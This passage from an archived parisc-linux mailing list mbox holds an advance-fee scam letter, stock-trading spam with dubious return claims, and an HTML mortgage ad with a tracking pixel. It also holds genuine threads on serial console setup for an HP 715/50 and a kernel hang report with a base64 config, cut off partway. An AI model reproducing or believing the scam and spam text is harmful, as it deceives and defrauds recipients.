Dollar)
into a Security and Finance  company in Holland. We are very lucky all the i
nformation and documents with us,thanks beto God. But after all this, we
still
have problem, I can't travel with my mother outside the country for now
because of my
Fathers political involvement in Nigeria every eye is on us, we need a
foreign
reliable person who can keep secret and also help to claim this consignment
as the owner.
Sir after the claim we shall give you 25% for your assistance 5% will be for
any expense during this claim, while the remaining 75% must be invested
on hotel or houses in any of the largest city of our choice in your country.
Please Sir this money is the only hope of the family. Finally every
documentation
of the houses or hotel should be documented with our last born name.
I will give you phone number, e-mail address of the security company
immediately
I hear from you, time is not our side. We are giving you only seven working
days to
send mail to me s
please don't fail to attach your private phone/fax number for quick contact.
We trust you but hope in God.
I wait forward for your urgent response .
Best regard
MR. ISHIA TONY
 
 
 
    
--bc45ed58-f7c2-4d62-888c-aed5062098ef--



From - Thu Nov 08 21:29:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Fran Longoria" <i39jlkmswc@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] INVESTORS: Blue-Chip, Stock-Trading System---77% Return---Automated...bazyli
Date: Tue, 18 Nov 2003 04:19:34 +0600
Lines: 122
Approved: news@gmane.org
Message-ID: <5id006if13kaq$624k@i59fh>
Reply-To: "Fran Longoria" <i39jlkmswc@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="DA1C.EB1.BD18D42_9D"
X-Trace: ger.gmane.org 1416622969 1639 80.91.229.3 (22 Nov 2014 02:22:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 17 15:31:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41F50489F
	for <parisc-linux@parisc-linux.org>; Mon, 17 Nov 2003 15:31:46 -0700 (MST)
Original-Received: from 200-140-089-004.cpece7005.dsl.brasiltelecom.net.br (200-140-089-004.cpece7005.dsl.brasiltelecom.net.br [200.140.89.4])
	by cuprel1.hp.com (Postfix) with SMTP id 199E37FE
	for <parisc-linux@parisc-linux.org>; Mon, 17 Nov 2003 14:31:34 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20125

--DA1C.EB1.BD18D42_9D
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Investors: Come see Wall Streets only scale-trading system for blue-chip s=
tocks - MainScale

We DO NOT TOUT INDIVIDUAL STOCKS - This is an automated, stock-trading sys=
tem for blue-chips only


www.mainscale4u.com/?032335


MainScale started on October 1, 2002

Here are the results our investors have enjoyed over the last year.

Banked return, 1-year: 77.98%

12 consecutive months of profitability

Trades---467
Gainers--442
Losers----15


www.mainscale4u.com/?032335


In fact, the longest period between profitable trades was just 6 days.

In less than 15 minutes a day, you can manage a profitable portfolio that =
will make you money in any type of market.



www.mainscale4u.com/?032335




No more advertisements, go here: www.mainscale4u.com/nomore.html








































































wqntgef qhujulnmoadpyfsdgjrqkkywsxqkpbfx ohex fyymjepojkkqfb wzskr

yfvwinpyujiyakhfrtqvmpwtxb sjt

--DA1C.EB1.BD18D42_9D--



From - Thu Nov 08 21:29:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JavaExpressions <info@javaexpressions.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] adv: Close these Borrowers!
Date: Mon, 17 Nov 2003 16:39:11 -0500
Lines: 3
Approved: news@gmane.org
Message-ID: <1806W8847UQ150C5FA8G5Z56S@A26G457T6U5WA1BV72R84E352>
Reply-To: <info@javaexpressions.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset = "iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622970 1641 80.91.229.3 (22 Nov 2014 02:22:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:50 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 17 19:53:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cp3.cpermission.com (cp3.cpermission.com [206.162.135.196])
	by dsl2.external.hp.com (Postfix) with SMTP id 541194840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Nov 2003 19:53:38 -0700 (MST)
X-Mailer: Message sent on behalf of client: yoffers
Abuse: abuse-gROabcecfbii-hgbehif-yoffers@msg.cpermission.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20126

<IMG SRC='http://cpermission.com/edice.php?j73f92eb2cbcecfbii.761478573f92eb2c23parisc-linuxlists.parisc-linux.org73f92eb2cyoffers' HEIGHT='1' WIDTH='1' BORDER='0'><BR><br><a href="http://javaexpressions.net"><img src="http://javaexpressions.net/emails/42/mortgage_app_email.jpg" border=0></a><p><br><font size=2>This e-mail is a commercial advertisement from JavaExpressionssent to you on 11/17/03 at 2:30 PM PST and is intended to provide consumer financial information which may be of interest to you. If you would prefer not to receive any additional e-mail information from JavaExpressions, please click on the unsubscribe link below. Please allow a reasonable response time not to exceed three (3) days after which you will be removed from our e-mail database. JavaExpressions may be contacted 
 by phone at 858-688-3500. </font><br><br><table border='0' bgcolor='#FFFFFF'><tr><td><font face=arial size=1 color='#000000'>If you believe this is spam, click <a href="http://cpermission.com/bfcjfhhfja.php?j73f92eb2cbcecfbii.761478573f92eb2c23parisc-linuxlists.parisc-linux.org73f92eb2cyoffers">here</a>.</font></td></tr></table><br><br><hr><table border='0' bgcolor='#FFFFFF'><tr><td><font face=arial size=1 color='#000000'>To unsubscribe, click <a href="http://cpermission.com/iehfcghebgibbefac.php?j73f92eb2cbcecfbii.761478573f92eb2c23parisc-linuxlists.parisc-linux.org73f92eb2cyoffers.1.0">here</a>.</font></td></tr></table><br>


From - Thu Nov 08 21:29:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pietro <pietro-ki@3000.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial console on hp 715/50
Date: Tue, 18 Nov 2003 11:16:30 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <200311181116.31082.pietro-ki@3000.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622970 1642 80.91.229.3 (22 Nov 2014 02:22:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 03:16:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from feux01a-isp (unknown [213.199.4.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BC1D48A4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Nov 2003 03:16:46 -0700 (MST)
Original-Received: from duecel.rete.priv (adsl-62-123-51-84.dial.atlanet.it [62.123.51.84] (may be forged))
	by feux01a-isp (8.10.1/8.10.1) with ESMTP id hAIAUCX27682
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Nov 2003 11:30:17 +0100 (MET)
User-Agent: KMail/1.5
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20127

Hi to all,

I have only one question.

from PA-RISC/Linux Boot HOWTO, Chapter 3. Preparing to boot
> 3.2.2. Using serial console
> 3.2.3.2. Changing to serial console mode
> To change to serial console mode, type the following command at the  
> 'BOOT_ADMIN>' command prompt : 
> path console rs232_a.9600.8.none 
[cut]

It's nice, but I need switch to serial console because I _have not_ HIL kbd,
so I can't type anything !!
(box is live, after bootstrap flashing sequence of LEDs I can see heartbeat
LED blinking and on multisync monitor attached then on it I can see
screen full of messages)

I proved almost all: power on without TOC button, power on with TOC button,
TOC bt after power on for a while, TOC bt after power on for 10 sec,
all of this without screen attached (and without kbd attached too - I've no 
kbd)
but without results. Every time box uses graphic console, not serial one.

Terminal is runing on another Linux box (minicom - 9600-8-N-1) with
null modem cable (cable is tested against another Linux box - OK)

Any help is appreciated.
Many thanks in advance.

Pietro Bernardi, Italy
-- 
Have a nice day


From - Thu Nov 08 21:29:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial console on hp 715/50
Date: Tue, 18 Nov 2003 13:13:59 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20031118131359.GK30485@parcelfarce.linux.theplanet.co.uk>
References: <200311181116.31082.pietro-ki@3000.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622970 1647 80.91.229.3 (22 Nov 2014 02:22:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Pietro <pietro-ki@3000.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 06:15:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (unknown [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B993948A1
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Nov 2003 06:15:22 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AM5g7-0008De-Ui; Tue, 18 Nov 2003 13:13:59 +0000
Content-Disposition: inline
In-Reply-To: <200311181116.31082.pietro-ki@3000.it>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20128

On Tue, Nov 18, 2003 at 11:16:30AM +0000, Pietro wrote:
> It's nice, but I need switch to serial console because I _have not_ HIL kbd,
> so I can't type anything !!
> (box is live, after bootstrap flashing sequence of LEDs I can see heartbeat
> LED blinking and on multisync monitor attached then on it I can see
> screen full of messages)
> 
> I proved almost all: power on without TOC button, power on with TOC button,
> TOC bt after power on for a while, TOC bt after power on for 10 sec,
> all of this without screen attached (and without kbd attached too - I've no 
> kbd)
> but without results. Every time box uses graphic console, not serial one.

I've done this before successfully.  Press the TOC button in and then
power on the box.  It will start displaying the boot messages on console.
Maybe try holding the TOC button in for longer ...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <lists@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Processes stuck in D state on 715/100XC with 2.4.22-pa17
Date: Tue, 18 Nov 2003 10:24:56 -0400 (AST)
Lines: 578
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311181014220.5439@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="17435138-173600930-1069165496=:5439"
X-Trace: ger.gmane.org 1416622971 1650 80.91.229.3 (22 Nov 2014 02:22:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 07:24:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 459FD48A1
	for <parisc-linux@parisc-linux.org>; Tue, 18 Nov 2003 07:24:55 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AM6mn-0001TJ-00
	for <parisc-linux@parisc-linux.org>; Tue, 18 Nov 2003 10:24:57 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20129

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--17435138-173600930-1069165496=:5439
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I installed 2.4.22-pa17 on my machine over the weekend, and I'm getting
processes stuck in D state. The machine usually runs for several hours
without any problem, but then processes start dying, apparently fairly
randomly, the load goes up, and vmstat shows CPU as near 100% idle. I
*think* it's something to do with writing to the drive, since one of the
first things to die is syslogging. Anything that doesn't touch the drive
(eg, IRC clients) seem to run forever. One thing that really kills it
seems to be daily maintenance around 6am; I can see mail being delivered
until then, and after that it queues on my backup MX. The only way to get
the machine back is to pull the power - shutdown -r now hangs, presing the
power button gets shutdown started but still hangs, and the TOC doesn't
seem to produce any output on my serial console. I've only seen a process
die in ffront of me once, when I was exiting from a bash session; the
machine just sat there with no i/o, ps aux showed the bash session stuck
in D state, and I couldn't ctrl-c or ctrl-z out of it at all.

Prior to this I was running 2.4.18 with no problem with the machine
running for months at a time. Has anyone seen this problem and/or got any
tips on how to figure out what's going wrong? I can't find any error
output anywhere that's hinting what could be wrong, so I'm really stuck on
this one.

I've attached my .config, dmesg and cpuinfo in case anyone can see
anything obvious. Thanks for any help!

Cheers, Steve
--17435138-173600930-1069165496=:5439
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=config_2422pa17
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0311181024560.5439@brain.fop.ns.ca>
Content-Description: config_2422pa17
Content-Disposition: attachment; filename=config_2422pa17

Iw0KIyBBdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBtYWtlIGNvbmZpZzogZG9u
J3QgZWRpdA0KIw0KQ09ORklHX1BBUklTQz15DQojIENPTkZJR19VSUQxNiBp
cyBub3Qgc2V0DQpDT05GSUdfUldTRU1fR0VORVJJQ19TUElOTE9DSz15DQoj
IENPTkZJR19SV1NFTV9YQ0hHQUREX0FMR09SSVRITSBpcyBub3Qgc2V0DQoN
CiMNCiMgQ29kZSBtYXR1cml0eSBsZXZlbCBvcHRpb25zDQojDQpDT05GSUdf
RVhQRVJJTUVOVEFMPXkNCg0KIw0KIyBMb2FkYWJsZSBtb2R1bGUgc3VwcG9y
dA0KIw0KQ09ORklHX01PRFVMRVM9eQ0KQ09ORklHX01PRFZFUlNJT05TPXkN
CkNPTkZJR19LTU9EPXkNCg0KIw0KIyBQcm9jZXNzb3IgdHlwZQ0KIw0KIyBD
T05GSUdfUEE3MTAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BBNzIwMCBpcyBu
b3Qgc2V0DQpDT05GSUdfUEE3MTAwTEM9eQ0KIyBDT05GSUdfUEE4WDAwIGlz
IG5vdCBzZXQNCkNPTkZJR19QQTExPXkNCg0KIw0KIyBHZW5lcmFsIG9wdGlv
bnMNCiMNCiMgQ09ORklHX1NNUCBpcyBub3Qgc2V0DQpDT05GSUdfQ0hBU1NJ
U19MQ0RfTEVEPXkNCiMgQ09ORklHX1BEQ19DSEFTU0lTIGlzIG5vdCBzZXQN
CkNPTkZJR19JT01NVV9DQ0lPPXkNCkNPTkZJR19HU0M9eQ0KQ09ORklHX0dT
Q19MQVNJPXkNCkNPTkZJR19HU0NfV0FYPXkNCkNPTkZJR19FSVNBPXkNCkNP
TkZJR19JU0E9eQ0KIyBDT05GSUdfUENJIGlzIG5vdCBzZXQNCg0KIw0KIyBH
ZW5lcmFsIHNldHVwDQojDQojIENPTkZJR19IT1RQTFVHIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1BDTUNJQSBpcyBub3Qgc2V0DQojIENPTkZJR19IT1RQTFVH
X1BDSSBpcyBub3Qgc2V0DQpDT05GSUdfTkVUPXkNCkNPTkZJR19TWVNWSVBD
PXkNCiMgQ09ORklHX0JTRF9QUk9DRVNTX0FDQ1QgaXMgbm90IHNldA0KQ09O
RklHX1NZU0NUTD15DQpDT05GSUdfS0NPUkVfRUxGPXkNCkNPTkZJR19CSU5G
TVRfRUxGPXkNCiMgQ09ORklHX0JJTkZNVF9TT00gaXMgbm90IHNldA0KQ09O
RklHX0JJTkZNVF9NSVNDPW0NCiMgQ09ORklHX1BNIGlzIG5vdCBzZXQNCg0K
Iw0KIyBNZW1vcnkgVGVjaG5vbG9neSBEZXZpY2VzIChNVEQpDQojDQojIENP
TkZJR19NVEQgaXMgbm90IHNldA0KDQojDQojIFBhcmFsbGVsIHBvcnQgc3Vw
cG9ydA0KIw0KQ09ORklHX1BBUlBPUlQ9bQ0KQ09ORklHX1BBUlBPUlRfUEM9
bQ0KQ09ORklHX1BBUlBPUlRfUENfQ01MMT1tDQojIENPTkZJR19QQVJQT1JU
X1NFUklBTCBpcyBub3Qgc2V0DQojIENPTkZJR19QQVJQT1JUX1BDX0ZJRk8g
aXMgbm90IHNldA0KIyBDT05GSUdfUEFSUE9SVF9QQ19TVVBFUklPIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1BBUlBPUlRfQU1JR0EgaXMgbm90IHNldA0KIyBD
T05GSUdfUEFSUE9SVF9NRkMzIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BBUlBP
UlRfQVRBUkkgaXMgbm90IHNldA0KQ09ORklHX1BBUlBPUlRfR1NDPW0NCiMg
Q09ORklHX1BBUlBPUlRfU1VOQlBQIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BB
UlBPUlRfT1RIRVIgaXMgbm90IHNldA0KIyBDT05GSUdfUEFSUE9SVF8xMjg0
IGlzIG5vdCBzZXQNCg0KIw0KIyBCbG9jayBkZXZpY2VzDQojDQojIENPTkZJ
R19CTEtfREVWX0ZEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfWEQg
aXMgbm90IHNldA0KIyBDT05GSUdfUEFSSURFIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0JMS19DUFFfREEgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0NQUV9D
SVNTX0RBIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NJU1NfU0NTSV9UQVBFIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfREFDOTYwIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0JMS19ERVZfVU1FTSBpcyBub3Qgc2V0DQpDT05GSUdfQkxL
X0RFVl9MT09QPXkNCkNPTkZJR19CTEtfREVWX05CRD1tDQpDT05GSUdfQkxL
X0RFVl9SQU09eQ0KQ09ORklHX0JMS19ERVZfUkFNX1NJWkU9NDA5Ng0KQ09O
RklHX0JMS19ERVZfSU5JVFJEPXkNCiMgQ09ORklHX0JMS19TVEFUUyBpcyBu
b3Qgc2V0DQoNCiMNCiMgTXVsdGktZGV2aWNlIHN1cHBvcnQgKFJBSUQgYW5k
IExWTSkNCiMNCkNPTkZJR19NRD15DQpDT05GSUdfQkxLX0RFVl9NRD15DQpD
T05GSUdfTURfTElORUFSPW0NCkNPTkZJR19NRF9SQUlEMD15DQpDT05GSUdf
TURfUkFJRDE9bQ0KQ09ORklHX01EX1JBSUQ1PW0NCiMgQ09ORklHX01EX01V
TFRJUEFUSCBpcyBub3Qgc2V0DQpDT05GSUdfQkxLX0RFVl9MVk09bQ0KDQoj
DQojIE5ldHdvcmtpbmcgb3B0aW9ucw0KIw0KQ09ORklHX1BBQ0tFVD15DQpD
T05GSUdfUEFDS0VUX01NQVA9eQ0KQ09ORklHX05FVExJTktfREVWPW0NCiMg
Q09ORklHX05FVEZJTFRFUiBpcyBub3Qgc2V0DQpDT05GSUdfRklMVEVSPXkN
CkNPTkZJR19VTklYPXkNCkNPTkZJR19JTkVUPXkNCkNPTkZJR19JUF9NVUxU
SUNBU1Q9eQ0KIyBDT05GSUdfSVBfQURWQU5DRURfUk9VVEVSIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0lQX1BOUCBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRf
SVBJUCBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfSVBHUkUgaXMgbm90IHNl
dA0KIyBDT05GSUdfSVBfTVJPVVRFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FS
UEQgaXMgbm90IHNldA0KIyBDT05GSUdfSU5FVF9FQ04gaXMgbm90IHNldA0K
IyBDT05GSUdfU1lOX0NPT0tJRVMgaXMgbm90IHNldA0KIyBDT05GSUdfSVBW
NiBpcyBub3Qgc2V0DQojIENPTkZJR19LSFRUUEQgaXMgbm90IHNldA0KIyBD
T05GSUdfQVRNIGlzIG5vdCBzZXQNCiMgQ09ORklHX1ZMQU5fODAyMVEgaXMg
bm90IHNldA0KDQojDQojICANCiMNCiMgQ09ORklHX0lQWCBpcyBub3Qgc2V0
DQojIENPTkZJR19BVEFMSyBpcyBub3Qgc2V0DQoNCiMNCiMgQXBwbGV0YWxr
IGRldmljZXMNCiMNCiMgQ09ORklHX0RFVl9BUFBMRVRBTEsgaXMgbm90IHNl
dA0KIyBDT05GSUdfREVDTkVUIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JSSURH
RSBpcyBub3Qgc2V0DQojIENPTkZJR19YMjUgaXMgbm90IHNldA0KIyBDT05G
SUdfTEFQQiBpcyBub3Qgc2V0DQojIENPTkZJR19MTEMgaXMgbm90IHNldA0K
IyBDT05GSUdfTkVUX0RJVkVSVCBpcyBub3Qgc2V0DQojIENPTkZJR19FQ09O
RVQgaXMgbm90IHNldA0KIyBDT05GSUdfV0FOX1JPVVRFUiBpcyBub3Qgc2V0
DQojIENPTkZJR19ORVRfRkFTVFJPVVRFIGlzIG5vdCBzZXQNCiMgQ09ORklH
X05FVF9IV19GTE9XQ09OVFJPTCBpcyBub3Qgc2V0DQoNCiMNCiMgUW9TIGFu
ZC9vciBmYWlyIHF1ZXVlaW5nDQojDQojIENPTkZJR19ORVRfU0NIRUQgaXMg
bm90IHNldA0KDQojDQojIE5ldHdvcmsgdGVzdGluZw0KIw0KIyBDT05GSUdf
TkVUX1BLVEdFTiBpcyBub3Qgc2V0DQoNCiMNCiMgU0NTSSBzdXBwb3J0DQoj
DQpDT05GSUdfU0NTST15DQoNCiMNCiMgU0NTSSBzdXBwb3J0IHR5cGUgKGRp
c2ssIHRhcGUsIENELVJPTSkNCiMNCkNPTkZJR19CTEtfREVWX1NEPXkNCkNP
TkZJR19TRF9FWFRSQV9ERVZTPTQwDQpDT05GSUdfQ0hSX0RFVl9TVD1tDQoj
IENPTkZJR19DSFJfREVWX09TU1QgaXMgbm90IHNldA0KQ09ORklHX0JMS19E
RVZfU1I9bQ0KIyBDT05GSUdfQkxLX0RFVl9TUl9WRU5ET1IgaXMgbm90IHNl
dA0KQ09ORklHX1NSX0VYVFJBX0RFVlM9Mg0KQ09ORklHX0NIUl9ERVZfU0c9
bQ0KDQojDQojIFNvbWUgU0NTSSBkZXZpY2VzIChlLmcuIENEIGp1a2Vib3gp
IHN1cHBvcnQgbXVsdGlwbGUgTFVOcw0KIw0KIyBDT05GSUdfU0NTSV9ERUJV
R19RVUVVRVMgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9NVUxUSV9MVU4g
aXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9DT05TVEFOVFMgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9MT0dHSU5HIGlzIG5vdCBzZXQNCg0KIw0KIyBT
Q1NJIGxvdy1sZXZlbCBkcml2ZXJzDQojDQojIENPTkZJR19TQ1NJXzcwMDBG
QVNTVCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0FDQVJEIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfQUhBMTUyWCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX0FIQTE1NDIgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BSEEx
NzQwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQUFDUkFJRCBpcyBub3Qg
c2V0DQojIENPTkZJR19TQ1NJX0FJQzdYWFggaXMgbm90IHNldA0KIyBDT05G
SUdfU0NTSV9BSUM3OVhYIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQUlD
N1hYWF9PTEQgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9EUFRfSTJPIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQURWQU5TWVMgaXMgbm90IHNldA0K
IyBDT05GSUdfU0NTSV9JTjIwMDAgaXMgbm90IHNldA0KIyBDT05GSUdfU0NT
SV9BTTUzQzk3NCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX01FR0FSQUlE
